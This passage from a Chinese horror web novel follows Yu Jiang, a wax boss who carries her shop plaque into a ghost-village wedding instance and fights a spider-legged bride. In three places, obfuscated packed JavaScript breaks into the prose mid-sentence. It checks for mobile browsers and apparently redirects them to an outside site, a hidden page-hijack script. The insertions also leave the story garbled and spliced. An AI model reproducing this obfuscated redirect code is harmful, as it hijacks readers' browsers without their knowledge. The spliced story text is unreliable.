她一回头,撞见裴翎无语的脸,立刻嗅到了规则漏洞:“不对啊,为什么你可以离开废品回收站,天天出去搞钱?” “先把你欠我的8000心跳值结了。”裴翎面无表情地道。 “我赚的奖励都交房租了,现在一分没有……”说到钱虞绛顿时蔫了。 裴翎早就换上了平日的白色背心,闻言露出一记冷笑,紧握的机械铁拳泛着冷光: “银货两讫,是我这儿的规矩。赖账的,没人能从我的地盘站着出去。” 虞绛眼珠一转,一把指向门口的大红花轿: “我还我还!只要你告诉我怎么打破100米活动范围的限制,等我通关回来一定还你!” 裴翎的扫了眼那盏阴森的花轿,又将目光转向虞绛,突然心念一动: “宽限你几天也不是不行。但,一码归一码,你咨询的问题是另外的价钱。” 他眸光闪烁,声音带着不易察觉的嘶哑:“我要你答应我,这次回来后帮我一个忙。” “没问题!”虞绛也不细问,一口应下,“街里街坊的,帮个忙应该的!” 裴翎闻言垂眸,敛下眼里翻涌的情绪,缓缓开口:“首先,我只是个普通NPC,废品站早在Boss失踪后就暂停营业了。” 见虞绛沉下脸来,他又不紧不慢地指向仓库里的三轮车: “不过,就算在营业时,这家店的老板确实可以开着三轮车满城市跑。那是因为他把副本随身携带,一直保持在自己100米的范围内。” “副本还能移动?”虞绛瞪大眼睛,这显然触及了她的知识盲区。 裴翎轻轻摇头:“准确地说,移动的不是副本本体,而是它的‘门牌’,系统依靠门牌来定位副本的位置。” “你看车尾那块纸牌,就是我们的副本门牌。这辆三轮车,就是我们的副本门面。只要坐上它,无论走到哪儿,都是系统允许的活动范围。” 虞绛的目光移向门店里那辆三轮车,车尾那块写着“二手冰箱、空调、洗衣机,拿来卖”的纸牌,和她为自家棋牌室手写的牌匾一样潦草。 虞绛举一反三的小脑瓜里,不禁产生了一个大胆的想法。 *** 黄昏又称逢魔之时,昏暗的夜色浸染了田间小道,几只喰鼠从角落里探出头,却在路边踌躇徘徊,始终不敢靠近。 一顶大红花轿悄无声息地穿过小路,轿帘半卷,露出内里两道身影。两根轿杆无须人扛,自行稳稳前行,在月光下投下诡异而静谧的影子。 “虞老板,这块牌匾很重吧?” 轿厢里,刘茵茵紧紧抱住虞绛的手臂,几乎用气音说话。 离下一次主线副本还有一周,要不是为了陆骁,她打死也不会主动坐进这个阴森的轿子。现下只能紧贴大佬,寻求一丝心理安慰。 “只要不被系统电击,这点重量算什么。”虞绛岔开腿坐在轿中,背上背着一米长的木质牌匾,正是从棋牌室门头上拆下来的。 果然如裴翎所说,只要带走门牌,副本就等于随身携带。 只是临走前,裴翎还特意补了一句:“记得千万保护好这块门牌,要是被副本外的NPC破坏了,你家可就没了。” 虞绛心头沉重,这样一来,自己虽然获得了自由,但也等于把全副身家都背在了身上。 “这都什么破行为守则……” 不过,她刚翻到《副本Boss行为守则》的第一条就卡住了,剩下几条还没来得及看。 虞绛赶紧掏出手机,开始恶补规则,生怕无意间误触禁忌再被电个半死。 【《副本Boss行为守则》 1.副本Boss在营业期间,只能在副本半径100米范围内活动。 2.为提供沉浸式副本体验,副本Boss须在副本开启后保持高度【入戏】状态,但注意不要陷入【混乱】。 特别提示:副本等级越高,副本Boss越容易【入戏】;副本开放次数越多,副本Boss越容易陷入【混乱】。 3.副本营业期间,外来NPC不得影响或干扰副本进程。此类行为将被系统判定为违规,一经发现严惩不贷。 4.副本Boss在副本营业期间被玩家击杀,仅视为剧情分支之一。Boss不会真正死亡,副本关闭后将重置为初始状态。 5.不同副本的Boss或NPC可相互吞噬,该行为不被视为剧情分支之一,被吞噬的副本Boss或NPC将彻底死亡,无法重置。 6.如果在副本内目睹不可直视、不可理解之物,你极有可能已经陷入【混乱】,请立即上报系统,接受游戏开发组的格式化处理。【混乱】状态解除前,Boss不得重返副本。 7.若副本Boss陷入【混乱】,副本内其他NPC可以通过吞噬取而代之,继任Boss身份。 8.副本Boss必须全程保护副本核心定位器,即副本门牌。门牌决定副本入口,一旦损毁将导致副本迷失。 9.副本等级决定空间区位。A级及以上副本可入驻中心区,S级及以上副本可入驻心跳之城开发组所在的中央大楼。 10.当前阶段为系统内测期,请全体副本Boss不惜一切代价,以生产心跳值为第一目标奋发努力!】 这份行为守则的前半段,虞绛已略知一二。在孤儿院副本中,桑柒起初沉浸于剧情里,忘记了游戏的存在,这就是【入戏】。 而虞绛作为不常规的“外来Boss”,扰乱了副本平衡,也险些让桑柒跌入【混乱】,被其余三只鬼怪暗中盯上,企图吞噬取代。 但此刻,虞绛更在意的,是第九条。 不仅出现了桑柒曾提到的“中心区”,甚至连象征顶尖资源的“中央大楼”也赫然在列。 所有NPC都曾在城市角落仰望城市中心那座高耸入云的钟塔,它代表着游戏世界的权力与秩序之巅。 原来,想要真正站到那里,前提是成为S级副本。 “那又怎么样?”虞绛垂下眼睫,握紧拳头,“我的目标可是S+!” 正想着,花轿忽然慢了下来。 她从半卷的帘缝里望去,不远处一座斑驳陈旧的牌坊静静矗立,隐约写着“南山村”三个字。 牌坊下站着一位干瘦佝偻的老婆婆,手提数盏白色灯笼,映得她脸色惨白、眼神浑浊,宛如一具风干的尸体。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说着,她顿了顿,补上一句意味深长的话:“天黑路滑,灯笼可得拿稳。要是蜡烛灭了,可就找不到回头路了。” 考虑到还没摸透副本底细,虞绛强压下暴力逼问的冲动,背着牌匾牵着刘茵茵踏入村庄。 一踏过村口的牌坊,她们正式踏上南山村的地界,此刻原本黑黢黢的村落瞬间亮起一片白光。 那是悬挂在每家门前的白灯笼,和她们手中的一模一样。 “虞老板,这村子太不对劲了!”刘茵茵瑟缩着脖子,低声道。 “一点办喜事的气氛都没有,街上也没红色装饰,全是白灯笼……” “别急,我们得先找到宾客的规则。”虞绛皱眉,“不然一不小心触雷都不知道怎么死的。” 可惜引路的老婆婆并不打算直接告知规则,他们又该从哪里寻找? 村中静悄悄,家家户户紧闭门窗。两人打着忽明忽暗的灯笼,在唯一的主路上缓慢前行。 与此同时,在她们身后不远处,一栋木屋的窗户悄然打开。 一个婴儿肥的女生探出身子,举起一个像放大镜的装置对准虞绛的方向。 “周祺,糟了!那个扛着大牌匾的高个子女生,已经被游戏鬼怪附身了!”她惊声低语。 身后,一个清秀男人皱眉走出:“不太可能吧?C级副本怎么会一进来就开大?希希,会不会弄错了?” “错不了,这技能检测器可是我哥用10万心跳值给我买的神器,从没出过错!” 沈百希把探测器递到周祺眼前。 “你自己看。” 周祺半信半疑地凑近了,镜片中显示出一个人物面板,他的面色也渐渐凝重。 “技能是黑夜潜行、獠牙利齿、镜中穿梭……这几项有可能是玩家的特殊天赋,但……” 他脸色一变,嗓音微沉: “物理属性——非人类?成分为……100%蜡?!” 20. 荒村婚宴宾客须知(二) 夜深露重,冷风穿街而过,这条村道幽长得仿佛没有尽头。两侧是千篇一律的房屋,安静地紧闭着房门,唯有稀稀落落的白灯笼在风中摇曳。 “不能再走了,灯要熄了。”刘茵茵扯了扯虞绛的袖子。 她手中灯笼比刚进村时暗淡了不少,纸糊的灯笼不防风,烛火星子被风吹得明明灭灭。 虞绛停下脚步,环顾四周,目光落在右手边一户亮灯的人家上:“要不敲门问问?看有没有宾客须知和接亲的线索?” 刘茵茵缩着脖子不语,虞绛已率先上前敲门。“嘭嘭”几声闷响后,门开了一条缝,一张沟壑纵横的脸从缝中探出。 “外乡人?”干瘦的中年男人浑浊的眼睛打量着她们,声音沙哑而警惕。 刘茵茵见开门的是村民模样,稍微放松些:“您好,我们是来参加婚宴的宾客,您知道子时在哪里接亲吗?” 男主人咧开嘴笑了笑:“村西头有座院子种着梨花树,新娘就住那儿。” 虞绛望向雾气沉沉的前路,神色凝重:“可继续走的话,我们的灯笼就要被吹灭了。” 男主人闻言将门敞开,浓郁的饭菜香扑鼻而来。他身形矮小,素衣上围着油渍的围裙,显然刚从灶台边走开。 “好香……”刘茵茵低声感叹,肚子也应景地咕噜一响。她从早上离开度假山庄后就滴水未进,此时更觉得饥肠辘辘。 男主人察觉她饥饿的模样,笑得更慈祥:“离子时还有一阵呢,两位是来参加婚宴的贵客,不如进屋歇歇脚?” 他指了指门口那盏亮着的白灯笼,语气和善:“我们村民的灯笼里都加了防风罩,挂着不容易熄灭。你们可以先把蜡烛移进去,等时间到了我再提灯送你们去接亲。” 虞绛抬头望去,那盏灯笼里果然多加了一层玻璃罩子,烛光稳固明亮,确实比她们手上的安全许多。 她低头看自己的灯笼,只见一根白蜡烛静静燃烧着,豆大的火光仿佛随时会熄。 她抬起灯笼凑近些,烛光摇曳下,灯笼里隐约透出几道蚂蚁般游走的阴影。 等等,灯笼底部有字! “来,我帮你们把蜡烛换过来吧。”男人忽然跨出门槛,伸手要取刘茵茵的灯笼。 可他刚一抬手,手腕就被虞绛一把扣住。烛光映照下,她半张脸如白瓷,与灯内蜡烛的光芒交融如一。 “不必麻烦了,我们还是继续赶路吧。”虞绛语气平静,却不容拒绝。 男人的笑容僵了一瞬,仍温声劝阻:“时间还早,外面风也大,要是蜡烛被吹灭了,你们可是会迷路的。” “你的肉要炖糊了。”虞绛冷声提醒。 男人神色一变,笑意倏然消退,眼底透出伪装被撕碎后的阴狠气息。 虞绛拉着刘茵茵迅速退开,男人定定地看着他们,但终究没再纠缠,猛地关上了门。 “虞老板,这户人家有问题?”刘茵茵不明所以。 虞绛提起手中的白灯笼,只见闪烁不定的烛光下,能隐约分辨出灯笼底部的两行小字: “1.宾客可入住无主房屋,但不得擅闯民宅。” “这应该就是宾客须知的第一条,其他规则也许同样散落在副本各处,需要我们自行发现。” 虞绛说着,带刘茵茵来到对面一户看似废弃的民居。 “原来如此!可刚才那家男主人邀请我们进去,也不算擅闯民宅吧?”刘茵茵仍是不解。 “关键问题出在他家门前的灯笼里。”虞绛回忆着当时的细节,语气冷静,“灯笼里插着一长一短两根蜡烛,长的那根只烧了一半就熄灭了,短的那根还在燃烧。” “也就是说,在我们之前,可能已经有人进过他家,并将长蜡烛移进了他家灯笼里。但长蜡烛却熄灭了……” 刘茵茵神色一凛,抢先答道:“是不是说明那人已经遭遇了不测?” 眼前,房檐两侧悬挂着两盏灰扑扑的白灯笼,虞绛伸手拧开灯笼底部的烛台,里面的蜡烛早已燃尽,只剩一滩焦黑的蜡油。 “而且,他刚刚还在炖肉……难道炖的是人肉?!” 刘茵茵继续联想,回想起那阵浓香四溢的炖肉味,不禁反胃作呕。 虞绛不置可否,只是默默将她俩的蜡烛从纸灯笼中取出,换装进门口的防风灯笼里。 她小心护住烛火在转移过程中不被风吹灭,手指却敏锐地触到了蜡烛表面不寻常的划痕。 定睛一看,蜡身上赫然刻着一排字: “悬至檐下,灯灭人死。” “‘悬’字已经烧去一半……”虞绛歪着脑袋思索片刻,“这应该是第二条宾客守则,完整的版本可能是:‘2.灯笼可悬至檐下,灯灭人死’。” 这副本真是处处陷阱! 如果没能及时查看灯笼里的蜡烛,等蜡烛彻底烧尽,可能人凉了都不知道死于什么规则。 更糟的是,老婆婆分发的蜡烛最多只能撑一晚,而这场婚宴将持续整整三天! 想要保命,就必须找到更多蜡烛续上火苗。 虞绛暗道:“难怪那男人执意要我们进去。他未必真想害命,说不定是盯上了我们的蜡烛。” “好险好险!什么都还没开始,我们就差点栽了。这C级副本哪是普通难度……”刘茵茵也是心有余悸,拍着胸口。 两人把灯笼悬挂回屋檐下,一同推开破旧院门,积灰的门板和屋角横生的蜘蛛网分明昭示着这里早已人去楼空。 门上也没有牌匾,连原屋主姓甚名谁都无从知晓。 进入院中,左手边是一棵枯树,院中有一口干涸的老井,疯长的杂草已吞没了地面。 她们推开前方狭小的屋子,一股腐臭味扑鼻而来,闻起来仿佛陈年腐肉混着潮湿的霉气。 虞绛从上个副本中获得了夜间潜行的能力,即使夜色漆黑如墨,依然能清晰看见室内景象。 在她的视线中,这间房脏乱得一塌糊涂。 茅草堆成的床铺上盖着一块破布般的毯子,周围没有像样的家具,地上还残留着排泄物,空气中混合着恶臭和霉味,像是不通风的兽穴。 “是人住的地方吗?”刘茵茵嫌恶地捂住鼻子。 虞绛一向自诩生活朴素、吃苦耐劳,此刻也是连连摇头:“干脆就在院子里等会吧。” 于是,两人便围坐在枯井边稍作歇息。晚风掠过,吹散屋中传来的腐臭浊气,夜空中高悬着一轮清冷的圆月,照得四下寂寥如水。 “陆骁到底去哪儿了……”刘茵茵眼皮有些发沉,坐在井边撑着脑袋胡思乱想。 她下意识地朝井里瞥了一眼,干涸的井底黑幽幽的,什么也看不见。 可就在这一瞥之后,她忽然觉得眼前一晃,仿佛井底开始缓缓渗出水来,水位一点点升高。她眯眼凑近想看清,却猛地一滞—— 那不是井水,而是血水。 粘稠浓重的血色在夜色中悄无声息地蔓延,起初不易察觉,等她意识到不对时,那血水已溢出井口,顺着井沿淌落,甚至染湿了她的脚背。 血水如镜,映出刘茵茵的倒影。那倒影也被血色染红, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547541|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿佛是她,又仿佛不是她。 不知过了多久,虞绛伸手将她拍醒:“发什么呆?接亲队伍来了!” 刘茵茵猛地惊醒,眼前仍是那枯井,没有半点水渍,仿佛刚才的一切只是幻觉。 “我好像……产生了幻觉。”她低声喃喃,迷迷糊糊地站起身来。 可在昏晦的月光下,她恍惚间看到自己的脚背上,的确残留着一抹浅浅的红痕,像是溢出来的血水残迹。 虞绛没有听见她的自言自语,注意力早已被门外传来的喧哗吸引。 呕哑嘲哳的唢呐声随风传来,本应喜庆的旋律却被吹奏得凄厉哀婉,仿佛哭丧一般。 她背上沉重的牌匾,打开门远远看去,透过浓重的雾气,远方走来两列身着素缟的村民,列队整齐,神色空洞。 队伍中央,是那顶熟悉的大红花轿。在村口见过的老婆婆站在队首,手中拎着一口铜锣,每走几步便抡起锣锤,锣音在夜色中沉闷而悠长: “刘府大婚,借道迎亲!” 当队伍靠近时,老婆婆看到虞绛和刘茵茵从废宅中走出,目中闪过一抹意外,旋即露出一个意味不明的笑: “子时将至,两位宾客也随我们一同迎亲吧。” 虞绛点头应下,与刘茵茵一同加入队伍末尾。队伍最后还有两对身穿便装的年轻人,显然是同样被卷入副本的玩家。 但让她感到奇怪的是,其中一名婴儿肥的女生在看到她时,神情骤变,如临大敌地靠近了身旁那位戴眼镜的斯文男人。 那男人倒是笑容得体,礼貌道:“我朋友有点怕生,你们也是玩家吧?我叫周祺,她叫沈百希。” 虞绛和刘茵茵也报上了名字,随后默默加入队伍。另一对情侣似乎没有主动社交的兴趣,神色警惕,全程保持沉默。 走了一会,前方出现一道岔路,左右分开。为首的老婆婆停下脚步,扭头用沙哑的声音说道: “女性宾客随我往西走,接新娘。男性宾客随唢呐陈往东走,接新郎。” 话音落下,队伍应声而动,按性别兵分两路,大红花轿也被抬入通往西边的道路。 “什么?连新郎也要接?那我们岂不是要分开?”那对情侣终于打破沉默,男生吵闹起来,一把紧紧搂着了自己女朋友,“小艺不能和我分开!” 而沈白希则悄悄把一个微型耳机塞进周祺手里,与他分别后便上前安抚那对闹情绪的情侣。 虞绛无意关注他们的动静,却在回头时注意到刘茵茵还在原地一动不动,低头盯着鞋尖发呆。 “你怎么了?”她挥了挥手,在刘茵茵眼前晃了一下。 刘茵茵回过神来,抬头看向虞绛,眼神闪烁:“我只是在想……这接亲队伍有点怪。按理说,应该是新郎带队接新娘才对,怎么男玩家还要去接新郎?” “可能……新郎新娘,都是鬼吧。”虞绛故作神秘,想拿先前的吓人套路再玩一遍。 可这次刘茵茵却没有惊叫出声,只是心不在焉地点头附和:“嗯,确实有可能。” 虞绛微微一顿,意识到她状态有些不对。但眼前的队伍已渐行渐远,只得暂且按下疑虑,拉着刘茵茵快步跟上。 夜晚的冷风呼啸而过,刘茵茵却觉得手心出了一层冷汗。她并不是胆子变大了,而是有更可怕的发现擢取了她的注意力。 她低头一瞥,那双白色板鞋的鞋尖,确确实实沾了一抹红痕。起初不甚明显,但正随着步履缓缓晕开,加深,向上爬升…… 刘茵茵觉得,自己的脚背有些发痒。 21. 荒村婚宴宾客须知(三) 唢呐陈带走了男性村民和玩家,凄婉的唢呐声逐渐远去,余下的接亲队伍愈发沉默,连老婆婆也停止敲击手中的铜锣。 走过村屋的尽头,前路变成了狭窄的田埂小径。众人踏着泥泞继续前行,直至一座孤零零的宅院静静伫立在前。 围墙之内,一棵繁盛的梨花树高高地探出枝丫,白色花瓣簌簌落下,洒在墙边冲淡了些阴森的气息。 老婆婆婆走上前,扣了扣门:“新娘子,阿喜婆带人来接亲咯!” 然而不等屋中人回应,她便自行推门而入,接亲队伍亦步亦趋地跟上。虞绛也拉上神情恍惚的刘茵茵,沈百希与小艺紧随其后,一同迈入这间陌生的宅院。 宅院打扫得一尘不染,墙角的柴火整齐码放,透着几分寻常人家的烟火气。唯有正前方那扇屋门紧闭,无人出声响应。 阿喜婆并不意外,反而转过身,目光在几名玩家身上扫过。 她朗声道:“南山村接亲有旧规——新娘未穿婚鞋,不得下地。依照宾客须知第3条,请各位宾客帮忙寻找婚鞋,新娘穿好鞋方能登上花轿,在天亮前到达刘家祠堂,才算圆满接亲。” 沈百希立刻问道:“婚鞋长什么样?在哪儿找?” 阿喜婆深深看了她一眼,缓缓道:“自然是红色的鞋子,就在这宅子里。” 沈百希摸了摸耳垂,没有再追问。 对话间,虞绛已走近屋门,正巧站在阿喜婆右侧,低声问:“新娘怎么称呼?” 进入副本以来,她们作为婚宴宾客,却对这对新人知之甚少。除了知道新郎姓刘,两人的名字、家世、样貌一概不知。 阿喜婆一怔,似乎没料到她会发问,片刻后才淡淡答道:“不记得了。” “你自己进去问她吧,如果你找得到的话。”她话锋一转,笑容里多了些意味不明的恶意。 虞绛没有犹豫,抬手推开房门,一阵淡淡的脂粉香扑面而来。房间里没有开灯,但以她的夜间视力,可以清楚地看见门对着一张整洁的梳妆桌,一旁的床铺摆放整齐,床边是红木衣柜,除此之外再无其他。 房间一览无余,但不仅没看到婚鞋,连半个人影都没有。 在虞绛迈入房间的同时,阿喜婆已回到梨花树下闭目养神,院中的女性村民仿佛也被按下了暂停键般,站在原地一动不动,毫无进去帮忙的意思。 “真诡异,不是说新娘就在里面吗?怎么灯都没开,怕是有鬼吧!”小艺缩了缩脖子,怎么都不愿意踏入房内。 沈百希向屋子走了几步,透过虞绛的背影,只能瞧见房间内黑洞洞的。她们的白色灯笼早已按照规则,悬挂在各自房屋门口,现下没有照明工具,什么都看不到。 “……那个被附身的女人进去了,不知道想干嘛。难道真把自己当宾客,找婚鞋去了?”她低声将情况汇报给耳机那端的周祺,但并没有回应。 她心知新郎那边可能也不太妙,没有周祺的指点她也不敢轻举妄动。 沈百希正准备退回几步,可回头一看,却发现和虞绛同路的女生有些奇怪。她低头垂眸,直愣愣地站在院子中间,齐肩的发丝遮住了面庞。 这个人好像叫“刘茵茵”,她用技能探测器检查过,是个没有特殊天赋的人类玩家。 “你好,我们要一起进去帮你朋友找婚鞋吗?”沈百希走上前,站在刘茵茵几步开外的位置,脸上的婴儿肥透出几分亲和的笑意。 可刘茵茵却一动不动地垂着头,仿佛压根没听见。 “刘茵茵?”沈百希有些疑惑,试着向前跨出一步。 就在那一刻,刘茵茵陡然伸出手,做了一个不容接近的阻止手势。 她缓缓抬起头,目不转睛地盯着沈百希:“小心。” “小心什么?”沈百希被她的反应弄得一头雾水。 她低头查看脚下,自己所站的地方就是一片平整的水泥地,没有什么障碍物。 可刘茵茵却神色郑重,认真地指向她脚边的位置:“小心这口井,你差点踩进去了。” *** 与此同时,新娘的房间内。 虞绛已经将房间翻了个底朝天,连床底和衣柜深处都不放过,却仍旧找不到婚鞋的半点踪影。 她有些失望,右手拿起梳妆台上的一面铜镜,漫不经心地转动着镜柄。 “呲呲——” 忽然,一阵轻微的异响从房间右上角传来。虞绛警觉地望去,却只捕捉到一道黑影一闪而过,房梁上空空如也。 “呲呲——”这一次声音来自左下角。 虞绛眯起眼,凝神捕捉那一抹残影,但她的动作还是慢了半拍,目光所及之处,仍旧干净空无一物。 回想那声音,像是布料摩擦,又像是虫子的低鸣……但节奏在逐渐加快。 “呲呲——呲呲——呲呲——” 声音忽然从四面八方此起彼伏地响起,像无数虫子正在暗处窸窣爬行。 不,不是无数虫子,更像是一只虫子正以肉眼几乎无法捕捉的速度,在房间各处高速穿梭,发出那连绵不绝的噪音。 虞绛全神贯注地盯住眼前的黑暗,即使经过上个副本夜视能力的强化,她也只能依稀捕捉到几缕模糊的阴影掠过。 她感到有些棘手,比起能正面交锋的敌人,这种无法确认形态、无从锁定的存在才更烦人。 她压下情绪,抓紧了背后牌匾的带子,打算将碍事的铜镜放下。就在此时,她动作一顿,右手仿佛被什么东西轻轻割开。 像是刀锋般的金属丝,悄无声息地切进了她的手背。 她低头,铜镜轻轻一转,镜面掠过一抹光影,她终于看清了自己的处境。 一张几乎难以察觉的“蛛网”,已经悄然在她身边编织完成。细密的线交错成一张利刃般的网,宛如透明的陷阱,悄然将她困在中央。 只要她稍有移动,那些丝线就会瞬间将她切割成碎片。 “原来是……吐丝的声音。”虞绛恍然。 几乎在她话音落下的同时,左上角的房梁上再次传来一声轻响,像是在回应她的猜测。 这一次,那道高速穿梭的黑影没有再逃避。它停下了动作,安静地蹲在房梁上。 虞绛眼神一凛,忽略那围困住全身的丝线,身形一跃就是莽,直扑梁上那道模糊暗影。 然而那梁上的影子并不惊慌,银色的丝线骤然收紧,细密的银光在空中划出森冷的弧线,将虞绛的身体切割成无数碎块。 身后的牌匾失去支撑,“啪”的一声倒在墙边,刚好卡进墙壁和梳妆台形成的拐角。 可满地的碎块没有渗出一丝血迹,它们在地上蠕动扭曲,直至拼凑在一起,化作滚烫炽热的蜡液,汹涌地扑向房梁。 蜡液逼近,虞绛终于看清了那“黑影”的真面目。 那是一个身材矮小的女人,眼神空洞、面无表情,身着一身血红嫁衣蹲在房梁上,宽松的衣裙下探出八条漆黑的腿。 这个人面蜘蛛模样的东西,不会就是新娘吧? 虞绛心中诧异,但动作攻势不减。可就在蜡液即将吞没女人的前一秒,虞绛面前骤然一白,仿佛雪崩般的白茫茫从四面八方扑来。 更细密的银丝从房梁上激射而出,交织成一个透明封闭的丝茧,瞬间将蜡液牢牢裹住。 涌动的蜡液戛然而止。 *** 此时的院子里,沈百希一脸莫名其妙地看着刘茵茵:“这个院子里哪儿来的井?” 可当她再低头确认时,却惊恐地发现,原本平整如镜的地面上,竟突兀地裂开了一道幽深的圆洞。一口枯井,凭空出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘茵茵的身体像被千斤重物拽住般沉坠,沈百希死死抓着她的脚踝,却感觉自己也正一点点被拖向井中。 但村民只是呆滞地转过身来,仿佛感知不到水井的存在。 小艺踉跄着后退几步,见两名玩家自身难保、副本NPC表现诡异,她眼神里浮现了一瞬间的挣扎,随即转身拔腿就跑,慌不择路地跑出了大门。 阿喜婆并未阻拦,只在梨花树下从容地看着逃跑的玩家,嘴角微微勾起。 “真蠢……”沈百希见状,咬牙骂了一句。 在副本中逃跑,几乎等于自断生机。只有反抗,才有一丝活下去的机会。 刘茵茵已被井中的力量拖去大半个身子,腰部以下尽数没入血水。沈百希死死咬牙,臂膀酸痛得发抖。 她绝望地想着,如果实在无法抗衡水下的东西,也只能放弃刘茵茵了。 突然,她的指腹碰到刘茵茵小腿处一个硬硬的凸起。不像光滑的肿块,隔着裤腿竟能清晰感知那一块凹凸分明的轮廓。 “希希。”耳机中传来周祺断断续续的低语,“刚刚发现了新的宾客须知,应该对你有用。规则是:‘4.新娘只有一双脚,如果长出了多余的脚掌,请及时帮忙修剪。’” 一股冷意瞬间窜上后脑勺,沈百希终于明白自己摸到了什么! 那是一只,从小腿上新长出来的半块脚掌。 “咕噜咕噜……哗啦啦——!” 然而,沈百希的惊愕尚未平复,井中血水忽然剧烈翻涌,一股诡异的力道猛然将刘茵茵往上推出。 紧接着,涌动的井水中隐约浮现了一个女人的面孔。 22. 荒村婚宴宾客须知(四) “妈呀!” 沈百希被猛然袭来的力道撞翻在地,刘茵茵湿哒哒的身体把她砸了个正着。 浓稠的血水从井口翻涌而出,像被打翻的染缸般兜头泼下,将她们从头到脚浸了个透。 那水中的女人赫然探出头来,手臂撑着井沿,半个身子破水而出。湿漉漉的长发垂落在胸前,全身上下都被血水染成妖异的猩红。 这个副本的鬼怪要来了?! 沈百希手忙脚乱地推开昏迷的刘茵茵,全身汗毛直立,左手已经摸进了道具口袋,俨然进入了战备阶段。 然而,眼前女鬼模样的身影却粗鲁地撩开额前的发丝,一手拧去发梢粘稠的血水,露出一张轮廓鲜明、艳丽逼人的脸。 这不就是那个被附身的玩家? 沈百希顿时警铃大作,这个叫虞绛的女人果然有问题! 说不定就是因为她一直伪装在刘茵茵身边,才让刘茵茵被精神污染了。 沈百希紧盯虞绛的动作,如临大敌,心中飞快分析:她的成分是100%的蜡,难道是蜡像鬼? 游戏商城买的打火机不知能不能对付她…… 可虞绛压根没察觉沈百希复杂的心理活动,她此刻被愤怒冲昏了头脑,除了上次直面孤儿院副本的三只鬼怪,这是她第二次被逼入如此狼狈的境地。 半分钟前,那只身穿嫁衣的人面蜘蛛忽然张网结茧,眨眼间就将她困成了个蚕蛹。 千钧一发之际,虞绛凭借在上个副本中继承的“镜中穿梭”能力,紧急遁入手中的铜镜。 她本想暂且待在镜子里,等待时机原路返回,却意外发现了另一条出口——这口血色水井。 透过镜子般的井水,她看见刘茵茵浸泡其中,脸上挂着诡异笑意。 于是她果断从井中突围而出。 虞绛站定,目光扫过湿漉漉的沈百希和昏迷不醒的刘茵茵,眸光一凝,突然大步上前。 “你别过来!”沈百希还是个不够沉稳的小姑娘,此刻如临大敌般紧紧攥住打火机,大声喝止。 虞绛没理她,绕过她蹲在刘茵茵身前,俯身掀起她的裤脚。 果不其然,那小腿处赫然长出半截漆黑脚掌,正是之前沈百希在慌乱中触碰到的异物。 “喂!茵茵,醒醒!”她轻轻拍了拍对方脸颊,却毫无反应。 虞绛略一沉吟便做好了决定,右手覆上那块异变之处,掌心缓缓渗出蜡液,逐寸覆盖异肢,直至整个脚掌被凝固封死。 “你要做什么?!”沈百希声音微颤。 “治病。”虞绛奇怪地瞥了她一眼,似乎根本没意识到自己的举动在别人眼里有多么骇人。 只听“咔嚓”一声,冻结后的异脚被她徒手折断,露出整齐的断口与撕裂的皮肉,鲜血瞬间汩汩而出。 “啊啊啊——!”刘茵茵被剧痛强行唤醒,惊叫起来,“断了断了,我的腿要断了!” 可她摸索了半天,却发现自己的双腿还是完整的,只是小腿上多了一块平整的伤口。 刘茵茵茫然地望向四周,映入眼帘的是同样湿透、满身血水的虞绛和沈百希,这才迷迷糊糊地反应过来,她们还在接亲的院子里。 “搞定。”虞绛拍了拍手,大功告成。 她转身望向屋内,半掩的房门里一片沉寂,仿佛方才屋中的搏斗不过是一场错觉。 梨花树下传来阿喜婆悠悠的提醒:“时辰不早了,还请宾客尽快让新娘子穿上婚鞋,登上门口的花轿。不然,赶去祠堂可就来不及了。” 话音未落,屋中忽地蹿出一道黑红相间、臃肿狰狞的身影。 那变异的新娘以肉眼难以捕捉的速度直扑院中,她先以门框为支点荡向梨花树,嫁衣下伸出的八只蛛足紧紧扒住树枝,下一瞬便跃上围墙,飞檐走壁般疾驰而去。 果然,应了阿喜婆那句“新娘未穿婚鞋,不得下地”。 不仅如此,“嘭!嘭!”两声闷响传来,新娘身后竟还拖着一条丝织带子,缠住一块木头牌匾。牌匾磕磕绊绊地被拖在地上,随着新娘逃窜的身影远去。 “淦!我的门牌!”虞绛脸色大变,脚步下意识就要跟上。 “且慢。”阿喜婆出声阻拦,眯着眼笑呵呵道,“提醒各位,如果你们抓不回新娘,还可以从你们三人中选一位代为出嫁,登上花轿前往祠堂。” “毕竟,你们三位,全都穿上了红嫁衣与婚鞋。” 虞绛低头望去,只见她们三人从头到脚都湿透了,沾满血水的衣物已被彻底染红,从远处看去,的确仿佛穿着一身大红衣裳。 刘茵茵虽然还有些晕眩,但听到这话立刻炸毛:“不会吧?这规则判定也太草率了!新娘不挑人的吗?要是有玩家本来就爱穿红色,不是直接被拎去成亲?!” 虞绛没搭话,只是望着新娘越逃越远的方向,忽地偏头问沈百希:“你和你朋友还在通话?” 沈百希一愣:“诶?啊……在。” 虞绛从井里冒出来后,周祺那边一直保持沉默,她是怎么发现的? “我在井壁下看到了新的规则,是针对新郎那边的。告诉他:‘5.若看见坟墓起尸,请牢记这是犀角香导致的幻觉。请无视幻觉,并避免与之对视。’” 沈百希怔住,她下意识想否定这个披着人皮的“蜡像怪”。 可虞绛方才徒手掰断刘茵茵异肢的动作,分明与周祺透露的“修剪新娘多余的脚”的规则吻合。 她从头到尾的表现,都像是一个真正的玩家。 